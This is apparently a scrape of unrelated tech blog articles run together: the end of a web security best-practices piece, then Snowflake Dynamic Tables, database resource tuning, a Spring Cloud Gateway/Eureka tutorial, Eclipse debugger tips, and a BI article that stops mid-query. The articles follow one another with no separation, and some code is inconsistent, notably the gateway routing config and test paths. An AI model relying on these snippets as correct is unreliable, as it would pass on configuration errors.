forensic analysis. Best Practices: Set up centralized logging with platforms such as the ELK Stack or Splunk to collect, analyze, and monitor logs across your systems.Enable Intrusion Detection Systems (IDS) and Web Application Firewalls (WAFs).Log critical events like failed login attempts, privilege escalations, and file modifications.Regularly review and analyze logs for anomalies. 10. Keep Dependencies and Frameworks Updated Legacy or unpatched libraries and frameworks often expose systems to security vulnerabilities exploited by attackers. Security patches are often released to fix known vulnerabilities, so ignoring them invites risk. Best Practices: Use dependency management tools like npm audit, Yarn, or Snyk.Maintain a software bill of materials (SBOM) to track third-party components.Set up automated alerts for vulnerability disclosures.Avoid using deprecated or unmaintained packages. 11. Educate and Train Your Development Team Even the most secure tools can fail if the team doesn’t understand how to use them. Regular learning and training help build a culture where security comes first. Best Practices: Conduct secure development training sessions.Promote involvement in Capture the Flag (CTF) competitions and ethical hacking workshops to build practical cybersecurity skills and awareness.Make developers familiar with OWASP Top 10 vulnerabilities.Share learnings from past incidents and near misses. Top Tools to Help You Build Secure Web Applications Writing secure code is just part of the puzzle. You also need the right tools to spot issues fast, monitor activity in real time, and make sure best practices aren’t slipping through the cracks. Below are some of the most trusted tools that can support your development team in building and maintaining secure web applications: Tool Functionality OWASP ZAP Open-source scanner for finding security vulnerabilities in web apps. Ideal for dynamic application testing. Burp Suite A professional-grade toolkit for web application penetration testing, often used by ethical hackers. Snyk Identifies and helps fix vulnerabilities in open-source libraries and containers. ESLint Security Plugins Linting rules for JavaScript/Node.js to detect insecure code patterns early in development. Let’s Encrypt Provides free SSL/TLS certificates to enable HTTPS and secure data transmission. Helmet.js A middleware for Express.js that sets secure HTTP headers to help protect applications from well-known web vulnerabilities. Auth0 An elastic identity management control system to initiate secure authentication and authorization. Adding these tools to your development pipeline will allow it to detect risks, implement security norms, and guarantee compliance, and will lead to long-term time and effort savings. They serve as valuable additions to your best practices for web app development strategy. Final Thoughts Secure web application construction is never a one-time process; it is a process. Through such 11 best practices for web app development, you will be able to lower your risk exposure considerably and come up with applications that users will trust and depend on. Security needs to be addressed not as a character but as a basic necessity at all phases of development, design, deployment, and others. Investing in secure web app development today prevents costly breaches tomorrow. As technology evolves, so should your security posture—continuously informed by the best practices for web app development.

Snowflake offers Dynamic Tables, a declarative way to build automated, incremental, and dependency-aware data transformations. They modernize your data pipelines by delivering real-time insights at scale, with minimal operational overhead. What Are Dynamic Tables? Dynamic Tables are auto-updating, materialized tables in Snowflake that handle your transformation logic for you. All you need to do is define: An SQL transformation queryA target freshness (e.g., TARGET_LAG = '5 minutes') Instead of manually orchestrating workflows using tools like Airflow or dbt Cloud, Snowflake does the heavy lifting. It tracks upstream changes and updates the table automatically—processing only the new or changed data. The result? Faster pipelines, fresher insights, and a lot less work. Key Benefits of Dynamic Tables Simplified ELT Pipelines – No need for external orchestratorsIncremental Processing – Refreshes only changed dataFreshness Guarantees – Auto-updates based on TARGET_LAGCompute Efficiency – Dynamically scales resourcesSmart Dependency Tracking – Refreshes downstream tables only when inputs changePipeline Resilience – No manual jobs or cron schedules needed Dynamic Tables vs. Views vs. Materialized Views Feature View Materialized View Dynamic Table Storage No (virtual only) Yes (pre-computed & stored) Yes (automatically refreshed) Freshness Always current (on query) Manual or automatic refresh Maintained via TARGET_LAG Incremental Updates No Limited Yes Dependency Awareness No Partial Yes (automatic) Compute Usage On query On refresh On refresh (auto-managed) Use Case Fit Lightweight queries Reused aggregations Full ELT pipeline logic Orchestration Needed Yes (external) Often required No (self-orchestrating) The Medallion Architecture: A Layered Approach to ELT The Medallion Architecture structures data into three logical layers: Layer Description Purpose Bronze Raw, unprocessed data Captured from ingestion tools Silver Cleaned and validated Filtered and transformed data Gold Aggregated business data KPIs and analytics-ready output This model enhances modularity, observability and reusability in your data platform. How Dynamic Tables Handle Ingested Workloads Dynamic Tables are designed to operate directly on ingestion pipelines, enabling real-time or near-real-time data transformations without manual orchestration. It leverages Snowflake’s metadata tracking and automatically refresh the new data efficiently, delivering low-latency transformations regardless of the ingestion method. Bronze Layer: Ingestion With Snowpipe, Fivetran, or Kafka Connect 1. Snowpipe + Dynamic Tables Use Case: Ideal for micro-batch, file-based ingestion. Common scenarios include IoT telemetry, clickstream tracking, log data, and JSON/CSV drops into cloud storage (e.g., S3, GCS, or Azure Blob). How It Works: Snowpipe continuously monitors a cloud storage stage (e.g., Amazon S3).As new files land, they’re automatically loaded into a raw table like orders_raw via an internal COPY INTO operation.A Dynamic Table (e.g., cleaned_orders) is defined on top of this raw table.Snowflake uses metadata tracking to detect and transform only the newly ingested records. Dynamic Table Behavior: Incremental Refresh: Only new records are processed during each update.No Orchestration Needed: Snowflake automatically triggers refresh cycles based on your defined TARGET_LAG.High Resilience: Even if multiple files arrive at once, Snowflake efficiently batches and processes them in the background. SQL CREATE OR REPLACE DYNAMIC TABLE cleaned_orders TARGET_LAG = '5 minutes' WAREHOUSE = analytics_wh AS SELECT order_id, customer_id, order_amount, order_status, order_date FROM orders_raw WHERE order_status IS NOT NULL; As new JSON order files land via Snowpipe, the cleaned_orders Dynamic Table is automatically refreshed—typically within 5 minutes—no cron jobs, no pipeline triggers required. Best Practice: Use FILE_NAME, METADATA$FILENAME, or ingestion timestamps to track batch provenance or deduplicate rows when necessary. 2. Fivetran + Dynamic Tables Use Case: Connector-based ingestion from SaaS apps like Salesforce, HubSpot, Stripe, or Shopify. Perfect for batch or near-real-time ingestion from operational systems. How It Works: Fivetran extracts data from source APIs and loads it into raw Snowflake tables (e.g., customers_raw).These raw tables reflect either full snapshots or incremental deltas, depending on the connector type.A Dynamic Table (e.g., cleaned_customers) is defined on top of these raw inputs.Snowflake automatically tracks metadata changes and triggers transformation without any external orchestration. Dynamic Table Behavior: Automatic Refreshes: When Fivetran updates the raw tables, Snowflake detects the changes and refreshes downstream Dynamic Tables accordingly.Efficient Processing: Only rows impacted by upstream changes are transformed—nothing more.Self-Healing Pipelines: No need to manage sync schedules or refresh logic; it's all handled natively by Snowflake. SQL CREATE OR REPLACE DYNAMIC TABLE cleaned_customers TARGET_LAG = '5 minutes' WAREHOUSE = analytics_wh AS SELECT customer_id, first_name, last_name, email, is_active FROM customers_raw WHERE is_active = TRUE; When Fivetran finishes syncing a batch of updated customer profiles, cleaned_customers picks them up and processes them automatically—no dbt job, no scheduler. Best Practice: Use soft deletes (e.g., an is_deleted or is_active flag) in source systems to allow filtering out stale rows in Silver layers via Dynamic Table logic. 3. Kafka Connect + Dynamic Tables Use Case: High-frequency event-driven ingestionCommon in real-time analytics, fraud detection, user interaction tracking, and application telemetry How It Works: Kafka Connect sends event streams (JSON, Avro, or CSV) into Snowflake using the Snowflake Kafka Connector.Events are continuously appended to raw streaming tables like event_logs_raw or orders_raw.Dynamic Tables reactively pick up new events and apply transformations without human intervention. Dynamic Table Behavior: High Responsiveness: Near-instant reaction to incoming event data, depending on TARGET_LAGIncremental by Design: Snowflake avoids reprocessing the full table and only operates on the new partitioned/event chunkSeamless Stream-to-Batch: You can achieve near-streaming performance with warehouse simplicity SQL CREATE OR REPLACE DYNAMIC TABLE real_time_metrics TARGET_LAG = '1 minute' WAREHOUSE = analytics_wh AS SELECT customer_id, COUNT(order_id) AS order_count, SUM(order_amount) AS total_value, MAX(event_time) AS last_activity FROM orders_raw GROUP BY customer_id; real_time_metrics stays up to date within 1 minute of new events arriving from Kafka—making it ideal for real-time dashboards or alerting systems. Best Practice: To prevent duplicate processing (especially during replays), use deduplication logic like ROW_NUMBER() or leverage Kafka message metadata. Dynamic Tables eliminate the need for polling, scheduling, or external orchestration tools. They offer: Performance Efficiency – Only process data that’s changedCost Optimization – Minimize compute by avoiding full-table refreshesNear-Real-Time Analytics – Stay fresh with TARGET_LAG-driven updates Silver Layer: Cleaned and Validated Data Dynamic Tables clean, standardize, and enforce rules: SQL CREATE OR REPLACE DYNAMIC TABLE cleaned_orders TARGET_LAG = '5 minutes' WAREHOUSE = analytics_wh AS SELECT order_id, customer_id, order_amount, order_status, order_date FROM orders_raw WHERE order_status IS NOT NULL; sql CopyEdit CREATE OR REPLACE DYNAMIC TABLE cleaned_customers TARGET_LAG = '5 minutes' WAREHOUSE = analytics_wh AS SELECT customer_id, first_name, last_name, email, is_active FROM customers_raw WHERE is_active = TRUE; Gold Layer: Aggregated, Business-Level Insights Here we compute metrics for BI, ML, and reporting: SQL CREATE OR REPLACE DYNAMIC TABLE customer_order_summary TARGET_LAG = '10 minutes' WAREHOUSE = analytics_wh AS SELECT c.customer_id, c.first_name, c.last_name, COUNT(o.order_id) AS total_orders, SUM(o.order_amount) AS total_revenue, MAX(o.order_date) AS last_order_date FROM cleaned_customers c LEFT JOIN cleaned_orders o ON c.customer_id = o.customer_id GROUP BY c.customer_id, c.first_name, c.last_name; Monitoring Dynamic Table Health Track refresh operations and diagnose issues easily: SQL SELECT * FROM SNOWFLAKE.INFORMATION_SCHEMA.DYNAMIC_TABLE_REFRESH Best Practices Set TARGET_LAG values based on use case (lower = fresher = more compute)Avoid overly deep transformation chainsUse clear naming conventions (bronze_, silver_, gold_)Monitor refresh status via INFORMATION_SCHEMA Dynamic Tables and Medallion Architecture offer a scalable, declarative, and low-maintenance way to build ELT pipelines, whether you're ingesting via Snowpipe, Fivetran, or Kafka. Snowflake ensures that only the right data is processed incrementally, efficiently, and reliably. This framework eliminates orchestration complexity, accelerates insights, and makes your analytics platform ready for real-time decision-making.

This article examines the critical server resources, including CPU, storage, throughput, IOPS, memory, disk queue depth, latency, and disk swapping, that collectively impact database performance. Using a "restaurant kitchen" analogy, it demystifies how each component contributes to data processing efficiency. The piece explains the consequences of resource bottlenecks. It offers practical tuning strategies, from query optimization and hardware upgrades to proper memory management and I/O best practices, emphasizing the importance of continuous monitoring for optimal database health. Introduction Databases are the silent workhorses powering everything from online shopping to critical business operations. Just like a high-performance car needs a finely tuned engine, a production database server relies on a delicate balance of computing resources to deliver optimal speed and reliability. When these resources are mismanaged or insufficient, the entire system can grind to a halt, leading to frustrated users and lost revenue. This article will delve into the core resources that impact database performance, including CPU, storage, storage throughput, IOPS, memory, disk queue depth, read/write IOPS, read/write latency, and disk swapping. It will explain their roles, how they affect database operations, and provide practical strategies for tuning them. Understanding the Core Components and Their Impact Imagine your database server as a bustling restaurant kitchen. Each resource plays a vital role in efficiently processing orders (data requests). CPU (Central Processing Unit): The Head Chef. The CPU is the "brain" of your server, responsible for executing all database operations, from complex queries to data sorting and encryption. If your CPU is overloaded, it's like having a single chef trying to cook for a hundred customers; everything slows down. Database operations become sluggish, and response times increase. Storage: The Pantry Storage is where your database files, logs, and backups reside. Think of it as the restaurant's pantry, holding all the ingredients. The type of storage (e.g., SSD vs. HDD) significantly impacts performance. Faster storage, like solid-state drives (SSDs), is like having ingredients readily available on a well-organized shelf, while slower hard disk drives (HDDs) are like rummaging through a cluttered, distant storeroom. Storage Throughput: The Ingredient Delivery Truck Storage throughput refers to the rate at which data can be read from or written to storage. This is akin to the size and speed of the delivery truck bringing ingredients to your pantry. High throughput means large amounts of data can be moved quickly, which is crucial for operations like large data loads or backups. Low throughput can create bottlenecks, especially during peak usage. IOPS (Input/Output Operations Per Second): The Number of Hands in the Pantry IOPS measure the number of read and write operations a storage system can handle per second. This is like the number of hands available to grab ingredients from the pantry. Databases often perform many small, random read and write operations. High IOPS are essential for transactional workloads where many concurrent users are accessing and modifying data. Memory (RAM): The Prep Counter Memory, or RAM, is the server's short-term workspace. It's where the database temporarily stores frequently accessed data and query results. This is your kitchen's prep counter. The more prep counter space you have, the more ingredients and dishes you can work on simultaneously without having to constantly go back to the pantry. Insufficient memory leads to more frequent disk I/O, as the database has to fetch data from slower storage, significantly degrading performance. Disk Queue Depth: The Line at the Pantry Disk queue depth refers to the number of I/O requests waiting to be processed by the storage system. Imagine a line of chefs waiting to get ingredients from the pantry. A high disk queue depth indicates that the storage system is overwhelmed and cannot keep up with the demand, leading to increased latency. Read IOPS and Write IOPS: Fetching vs. Stocking These are specific types of IOPS. Read IOPS are the number of times data is read from storage (fetching ingredients), while Write IOPS are the number of times data is written to storage (stocking the pantry or putting away finished dishes). Both are critical, but their relative importance depends on your database workload. A reporting database might be read-heavy, while a transactional system will have a significant mix of both. Read Latency and Write Latency: Time to Get/Put an Ingredient Latency measures the time it takes for a single I/O operation to complete. Read latency is the time it takes to fetch an ingredient, and write latency is the time it takes to put one away. High latency means operations are taking too long, directly impacting user experience and application responsiveness. Disk Swapping: Running to the Supermarket Disk swapping, also known as paging, occurs when the system runs out of physical memory (RAM) and starts using a portion of the hard disk as virtual memory. This is like your chefs running to the supermarket every time they need an ingredient because the prep counter and pantry are full. Disk is significantly slower than RAM, so excessive disk swapping cripples performance. Here's a table summarizing the analogy: Database Resource Daily Life Analogy Impact on Database Performance CPU Head Chef Slow query execution, increased processing time Storage Pantry Slower storage means slower data access Storage Throughput Ingredient Delivery Truck Slow data loading/unloading, bottlenecks during large transfers IOPS Hands in the Pantry Slow processing of many small, random data requests Memory (RAM) Prep Counter Frequent disk I/O, overall system slowdown Disk Queue Depth Line at the Pantry Storage system overwhelmed, increased latency Read IOPS Fetching Ingredients Slow retrieval of data Write IOPS Stocking Pantry/Putting Away Dishes Slow data modifications and additions Read Latency Time to Get an Ingredient Slow response times for data retrieval Write Latency Time to Put an Ingredient Slow data updates and insertions Disk Swapping Running to the Supermarket Severe performance degradation, system unresponsiveness Tuning for Optimal Performance Optimizing these resources is an ongoing process that requires careful monitoring and analysis. Here are some general tuning strategies: CPU: Query Optimization: Optimize SQL queries to reduce CPU consumption. Poorly written queries can be CPU hogs.Indexing: Ensure appropriate indexes are in place to speed up data retrieval and reduce the need for full table scans.Hardware Upgrade: If query optimization and indexing aren't enough, a more powerful CPU or adding more CPU cores might be necessary. Storage, Throughput, and IOPS: Use SSDs: For most production databases, SSDs are a must due to their significantly higher IOPS and lower latency compared to HDDs.RAID Configuration: Implement appropriate RAID configurations (e.g., RAID 10) to improve both performance and data redundancy.Provisioned IOPS (PIOPS): For cloud databases like AWS DynamoDB, consider provisioning dedicated IOPS to guarantee consistent performance.Separate Disks: Separate data files, log files, and temporary files onto different physical disks or logical volumes to reduce I/O contention. Memory: Increase RAM: The simplest and often most effective way to improve database performance is to add more RAM to the server.Buffer Pool Tuning: For relational databases, properly size the database's buffer pool (cache) to maximize the amount of data held in memory.Query Optimization: As with CPU, optimized queries reduce the amount of data that needs to be processed and cached, making better use of available memory. Disk Queue Depth, Read/Write Latency: Monitor and Analyze: Regularly monitor these metrics. Spikes in queue depth or latency indicate I/O bottlenecks.Address Root Causes: The solutions for high queue depth and latency often lie in optimizing queries, increasing IOPS, or improving storage throughput. Disk Swapping: Add More RAM: This is the primary solution. If your system is constantly swapping, it desperately needs more physical memory.Identify Memory Leaks: Check for applications or processes that are consuming excessive amounts of memory.Adjust OS Paging Settings: While not a substitute for more RAM, you can sometimes fine-tune operating system paging settings, but this should be done with caution. Conclusion Database performance is a multifaceted challenge, deeply intertwined with the underlying server resources. By understanding the role of each component – from the CPU's processing power to the intricacies of storage I/O and memory management database administrators can effectively diagnose bottlenecks and implement targeted tuning strategies. Just as a well-run restaurant kitchen ensures that delicious meals are served promptly, a meticulously optimized database server guarantees that data is delivered efficiently, empowering both applications and users in our ever-connected world. Continuous monitoring, proactive optimization, and a solid understanding of these foundational resources are key to maintaining a high-performing and reliable database environment.

By arvind toorpu CORE

API gateways are essential in a microservices architecture. But building one that's real-world-ready, secure, scalable, and service-aware will require more than just wiring a few annotations. Let’s be real for a second: Microservices sound exciting, but once you start building them, things get complicated fast. Ever wondered how big systems route traffic between dozens of microservices? How does the front end know where to call?How do services find each other?How do you avoid exposing every internal service directly?Do we really want to expose every internal service URL to the outside world?How do we centralize things like security, logging, and throttling? The answer to all of that is an API Gateway + Service Discovery. This tutorial walks you through building a fully working API Gateway using Spring Cloud Gateway and Eureka. We'll cover not just the code but also the why behind each piece, and you'll walk away with a clean, scalable foundation you can build real apps on Why You Need an API Gateway Here’s the thing: when your app grows, your front end shouldn’t be worrying about which internal service does what or where it is hosted. An API gateway helps by: Hiding your internal microservice URLsDoing service discovery (so things scale and move freely)Routing requests to the right serviceCentralizing security, logging, throttling, etc. It’s like the receptionist of your microservices office. Everything flows through it, and it knows where to direct each call. What We’re Using PartTechAPI GatewaySpring Cloud GatewayService DiscoveryNetflix EurekaBackend ServicesSpring Boot (microservices)Build ToolMaven How It’s Going to Work Each service registers with Eureka, and the gateway fetches the routing info dynamically. That means zero hardcoded URLs. What Are We Building? Eureka: Our service registry (like Yellow Pages for services)API Gateway: The central entry point that knows where to send trafficMicroservices A and B: Two dummy services that return “hello” Steps Step 1: Build the Eureka Server First, create a Spring Boot project called eureka-server. This is the directory of all your microservices. Services will register here and discover each other. Add dependency: YAML <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-server</artifactId> </dependency> Add annotations: Java @SpringBootApplication @EnableEurekaServer public class ServerApplication { public static void main(String[] args) { SpringApplication.run(ServerApplication.class, args); } } @EnableEurekaServer – Turns your app into an Eureka registry Config Properties files spring.application.name=server server.port=8761 eureka.client.register-with-eureka=false eureka.client.fetch-registry=false Now run the app and open http://localhost:8761, and your registry is live. Congratulations! Step 2: Create Two Microservices Let’s create Service 1 and Service 2. Each one will: Register to EurekaExpose one endpoint Add dependencies: YAML <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> Code for Service 1: Java @SpringBootApplication public class Service1Application { public static void main(String[] args) { SpringApplication.run(Service1Application.class, args); } } @RestController class Service1Controller { @GetMapping("/app1/hello") public String hello() { return "Hello From Service 1"; } } Config Properties files spring.application.name=service1 server.port=8081 eureka.client.service-url.defaultZone=http://localhost:8761/eureka Repeat this process for Service 2 (change port to 8082 and name to service2). Make sure each service exposes a simple endpoint like /hello just so we can test. Now start them both — you should see both registered on the Eureka dashboard. Step 3: Create the API Gateway Create another Spring Boot app called api-gateway. This is the front door of your system. Add dependencies: YAML <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> </dependency> Main class: Java @SpringBootApplication public class GatewayApplication { public static void main(String[] args) { SpringApplication.run(GatewayApplication.class, args); } } Config Properties files server.port=8080 spring.application.name=api-gateway spring.cloud.gateway.server.webflux.discovery.locator.enabled=true spring.cloud.gateway.server.webflux.discovery.locator.lower-case-service-id=true spring.cloud.gateway.routes[0].id=service1 spring.cloud.gateway.routes[0].uri=lb://SERVICE1 spring.cloud.gateway.routes[0].predicates[0]=Path=/app1/** spring.cloud.gateway.routes[1].id=service2 spring.cloud.gateway.routes[1].uri=http://SERVICE2 spring.cloud.gateway.routes[1].predicates[0]=Path=/app2/** eureka.client.service-url.defaultZone=http://localhost:8761/eureka/ Here’s what’s happening: You’re telling the gateway to use service discovery via Eureka.The lb://service1 means it’ll use Ribbon-style load balancing.All traffic hitting /service1/** gets routed to the real service. Start the gateway and test: http://localhost:8080/service1/app1/hellohttp://localhost:8080/service2/app2/hello You’ve got routing through an actual gateway, backed by service discovery And that’s it — you’ve built a discovery-aware, dynamic API Gateway using Spring Cloud Gateway and Eureka. Most tutorials show you static route setups. But this version is: Discovery-aware Load-balanced (via service ID)Scalable – deploy more instances, Eureka handles itDynamic – add/remove services without code changes This setup is ideal for real-world projects where services evolve frequently and infrastructure must keep pace without requiring constant redeployment or hard-coded links. Some Common Errors to Watch Out For ProblemFixService not foundCheck that it’s registered with the right nameWrong path patternUse /service-name/**, not /service-name/*Case mismatch in service IDUse lower-case-service-id: true in the gatewayInfinite retries or 500sMake sure your services are actually running locally Possible Next Steps to Go From Here You now have a working gateway that’s aware of your services and route requests intelligently. Now, in the following posts, I will expand this tutorial to add the following points to make it a production-grade application: Add Spring Security + JWT authenticationAdd circuit breakers using Resilience4jUse Docker and Docker Compose for easy setupAdd config server for centralized properties If you're building microservices seriously, having a smart, flexible API Gateway isn't a nice-to-have, but it’s a must. Bonus: Want the full code and a downloadable starter project? Here is the GitHub link: VivekRajyaguru/spring-api-gateway-eureka-demo.

You’re debugging a bug related to inflated ratings in the /books/{id}/summary endpoint. You drop a breakpoint in BookService.getAverageRating(String), step through the code, and inspect the reviews list in the Variables view. Everything looks fine… until you spot a suspicious entry, a review for the same user added more than once. You pause and think: “Hmm… maybe these duplicate entries are causing the issue. Should I be using a Set instead of a List?” So, you try to locate where this reviews variable is declared. And that’s when it hits you, the code isn’t exactly minimal! 1. Navigate to Variable Declaration - “Which Variable Is This? I’ve Seen That Name 5 Times Already..” The code... The method uses the same variable name “review” multiple times. And to make things worse, reviews is also a parameter or variable name in other methods “Wait, which review am I actually looking at right now?” “Where exactly was this declared?” Instead of scrolling through code or trying to match line numbers, you can now use Eclipse’s Navigate to Declaration. Right-click the review variable in the Variables view and choose "Navigate to Declaration". Eclipse takes you straight to the correct line, whether it’s in the loop, the lambda, or the block. No more confusion. No more guessing. Note: This is different from Open Declared Type, which takes you to the class definition (eg. java.util.List for reviews variable), not the actual line where the variable was introduced in the code. 2. Collapse Stack Frames - “Where’s My Code in This Sea of Spring and Servlet Stack Traces?” While debugging that review variable earlier using Navigate to Declaration, you probably noticed something else: the stack trace was huge You might have thought: “Do I really need to see all these internal Spring and servlet calls every time I hit a breakpoint?” - Not anymore. Eclipse now gives you a Collapse Stack Frames option and it’s a lifesaver when working in frameworks like Spring Boot! In the Debug view, go to More options -> Java -> Collapse Stack Frames Now that’s clean! 3. Intelligent Stacktrace Navigation - “Do I Really Need the Full Class Name to Find This Method?” In a typical microservice or multi-module setup, you’ve probably done this: You added two new services for different book operations, like importing books and analytics. Each of them has its own BookService class (same name, but different methods). Everything works fine… until a test fails, and you’re left with a vague stack trace: BookService.formatSummary(Book) line: 44 In older Eclipse versions, unless you had the fully qualified class name, it would either show no matches or list every class named BookService which forced you to dig through them all. Like this…. Now you’re left wondering: “Which BookService is this coming from?” Not anymore… :D Now Eclipse Understands the Signature! If the stack trace includes the method name and signature, Eclipse can now disambiguate between classes with the same name. So on latest Eclipse (v4.35 onwards) you will be redirected to the indented class. “Yeah that’s the right one!” 4. JDK-Specific Navigation - “Why Am I Seeing StringJoiner From the Wrong JDK Version?” You’re debugging something deep.. maybe a library or JDK class like StringJoiner. You get a stack trace with versioned info like java.util.StringJoiner.compactElts([email protected]/StringJoiner.java:248) In older Eclipse versions, you’d get the list of available JDK source, maybe from Java 22,21 & 23 which doesn’t match what you’re running. Now, Eclipse understands the version specified in the stack trace and opens exactly the correct class from JDK 22.0.2, no mismatches, no confusion—pure results. 5. Auto-Resuming Trigger Points - “I Only Care About This One Flow, Why Do I Keep Stopping Everywhere Else?” You want to debug the BookService.formatSummary(Book) method that builds a book's display string. The issue is this method is used in multiple flows like /books/{id}/summary, /books/all, and /books/recommended. You care only about the /recommended flow, but every time you debug, Eclipse hits breakpoints in unrelated code flows. You keep hitting Resume again and again just to reach where you want to stop in the expected flow. Let Eclipse do the skipping for you… Here's how: Set a trigger point on the method getRecommendedSummaries() in BookController. Enable "Continue execution on hit" in the trigger then place a regular breakpoint or method entry breakpoint inside BookService.formatSummary(Book) Eclipse will skip the trigger point, fly past all the noise, and pause directly where your focus is, inside BookService.formatSummary(Book). You can even add a resume condition to the resume trigger (only resume when a specific condition is true else pause the execution similar to other breakpoints) for even more control. 6. Primitive Detail Formatter - “I Just Want to See This Value Rounded, but I Don’t Want to Touch the Code” On inspecting avgRating variable which of primitive double type in BookService.formatSummary(Book). Its showing something like 4.538888… but you want to see it rounded to two decimal places, just to understand what the final value would look like when shown to customers. Now with Primitive Detail Formatter support you can define a New Detail Formatter for double type in variables view directly or from Debug settings! Configure your formatter : Use “this” to represent the primitive Now, instead of showing the raw value, Eclipse will show you the adjusted value with two decimals... 7. Array Detail Formatter - “There’s an Array. I Only Care About One Value. Let Me See That.” In our temperature analytics method “BookService.getTemperatureStats()”, we're working with a hardcoded primitive array of temperature readings temps[]. But only the 6th value (index 5) matters. Say it represents the temperature recorded at noon. Usually, you'd scroll through the array or log specific indexes. But now, you can simply focus on exactly what you need. Simply add a Detail Formatter for arrays similar to previous one.. Use this[] to represent arrays And Voilà.. Perfect when you’re dealing with huge datasets but only care about a tiny slice… 8. Compare Elements - “I Wrote Three Different Ways to Generate Tags - But Which One Is Actually Doing a Good Job”? You’re developing a feature that adds tags to books like "java", "oop", or "bestseller". You’ve written three different methods to generate them, and now you just want to see if their results are consistent, complete, clean, and in the right order. You could print all the lists and manually check them, but when the lists are long, that gets slow and error-prone. Instead, you can now use Eclipse’s Compare Elements to instantly spot the differences. Simply select all three generated lists then Right-click → Compare Eclipse tells you what’s missing in each list when compared to the others. Note : You can compare Lists, Sets, Maps, Strings, and even custom objects - just make sure you're comparing the same type on both sides. Let’s take another scenario.. “These books look the same, but the system treats them differently - why?” You recently made Set<Book> allBooks to avoid duplicate book entries being listed but several customers have reported seeing "Clean Code" listed twice. And on debugging the source, you realize that every Book has different reference ids but still having duplicates in final result.. You suspect the issue is because filtering based on reference id’s, but it's hard to tell by glancing the objects, especially if there are many similar books. So for analysing you can Select the suspicious Book objects and then Right-click → Compare On comparing with Eclipse it is confirmed that object’s contents are same and it’s their reference id are different! – Bug confirmed! So now you can fix the bug by re-writing the logic to filter based on author and title! You also noticed that some books have identical title and author but different IDs, which sparks another idea…. maybe sometime in the future, duplicates should be identified based on content... 9. Disable on Hit - “I Only Want This Breakpoint to Hit Once - Not 100 Times.” You’re debugging a method like getAverageRating() that runs in a loop or across multiple books. You’re only interested in checking the first call, not stepping through all of them. You used to: Let it hit once then disable the breakpoint manually… Now Eclipse handles that for you. Click on a breakpoint and enable Disable on hit option Now on hitting the breakpoint it will automatically disabled. This is super handy for loops, Scheduled jobs & frequently called methods. 10. Labelled Breakpoints - “Wait… What Was This Breakpoint for Again?” After stepping through different flows, using resume triggers, collapsing stack frames, comparing variables, and disabling breakpoints on hit and modifying formatters of variables you now have 10+ breakpoints scattered across your project. One checks for null titles another one’s for catching duplicates one is testing trigger flow a few were just for one-time validations.. You open your Breakpoints view, and you’re met with this.. :O And now you're thinking: “Umm... which one was for verifying the tag issue again?Did I already add a breakpoint for the rating check?” No need to guess anymore. Eclipse now lets you label your breakpoints with meaningful descriptions. It’s like adding sticky notes directly to your debugging process. Right click on a breakpoint -> Label Once clicked provide your custom label :D Now your breakpoint will be highlighted with your custom label – finally! Debugging is one of those things we all do - but rarely talk about until it’s painful. And yet, when the right tools quietly guide you to the root cause, it feels effortless. That’s the kind of experience the Eclipse debugger aims to provide—thoughtful improvements that show up right when you need them most... :) If you run into an issue, spot something unexpected, or have an idea for improving these features (or even a brand new one!), feel free to raise it under here: https://github.com/eclipse-jdt/eclipse.jdt.debug Thanks for reading and until next time! Happy debugging!

Every BI engineer has been there. You spend weeks crafting the perfect dashboard, KPIs are front and center, filters are flexible, and visuals are clean enough to present to the board. But months later, you discover that no one is actually using it. Not because it’s broken, but because it doesn’t drive action. This isn’t an isolated issue, it’s a systemic one. Somewhere between clean datasets and elegant dashboards, the *why* behind the data gets lost. Business Intelligence, in its current form, often stops at the surface: build reports, refresh data, and move on. But visuals aren’t enough. What matters is decision utility, the actual ability of a data asset to influence strategy, fix problems, or trigger workflows. Dashboards without embedded insight aren’t intelligence. They’re decoration. When Clean Dashboards Mislead: A Quiet BI Failure A few years ago, a cross-functional product team rolled out a new feature and relied on a dashboard to track its impact. The visual was sleek and the conversion funnel appeared healthy. But something didn’t add up, the executive team wasn’t seeing the anticipated growth downstream. After a deep dive, it turned out the dashboard logic had baked in a rolling 30-day window that masked recent drop-offs. Worse, the metric definitions didn’t account for delayed user activation. The outcome? Teams doubled down on a strategy that was actually bleeding users. This incident wasn’t a failure of tools, it was a failure of interpretation, feedback, and context. That’s what happens when dashboards operate in isolation from stakeholders. Let’s break this down using a simplified SQL example. Here's what the flawed logic might have looked like: SQL SELECT user_id, event_date, COUNT(DISTINCT session_id) AS sessions FROM user_activity WHERE event_date >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY) GROUP BY user_id, event_date; While technically valid, this logic excludes late activations and smooths over key behavioral shifts. A corrected version includes signup filters for active users: SQL WITH active_users AS ( SELECT user_id FROM user_events WHERE event_type = 'signup_confirmed' AND DATE_DIFF(CURRENT_DATE(), signup_date, DAY) <= 90 ) SELECT a.user_id, a.event_date, COUNT(DISTINCT a.session_id) AS sessions FROM user_activity a JOIN active_users u ON a.user_id = u.user_id GROUP BY a.user_id, a.event_date; This difference alone changed the trajectory of the team’s product decisions. From Reports to Results: The BI Gap No One Talks About The modern BI stack is richer than ever, BigQuery, Airflow, dbt, Tableau, Qlik, you name it. Yet, despite technical sophistication, too many pipelines terminate at a Tableau dashboard that stakeholders browse once and forget. Why? Because most BI outputs aren't built for real decisions. They’re built for visibility. But decision-making doesn’t thrive on static data points. It thrives on context, temporal trends, cohort shifts, anomaly detection, and most importantly, actionable triggers. Let’s consider a simple cohort segmentation approach that helps drive real outcomes: SQL SELECT user_id, DATE_TRUNC(signup_date, MONTH) AS cohort_month, DATE_DIFF(event_date, signup_date, DAY) AS days_since_signup, COUNT(DISTINCT session_id) AS session_count FROM user_sessions WHERE event_type = 'session_start' GROUP BY user_id, cohort_month, days_since_signup; This segmentation allows teams to observe how user engagement evolves across cohorts over time, a powerful signal for retention and lifecycle decisions. The Engineering Behind Useful BI A clean dashboard means little without a clean backend. Strong data engineering practices make all the difference between a flashy chart and a trustworthy business signal. Let’s look at two common building blocks. 1. Deduplicating Events: Deduplicating repeated user events ensures downstream metrics aren't inflated. Here's how that logic is typically implemented: SQL WITH ranked_events AS 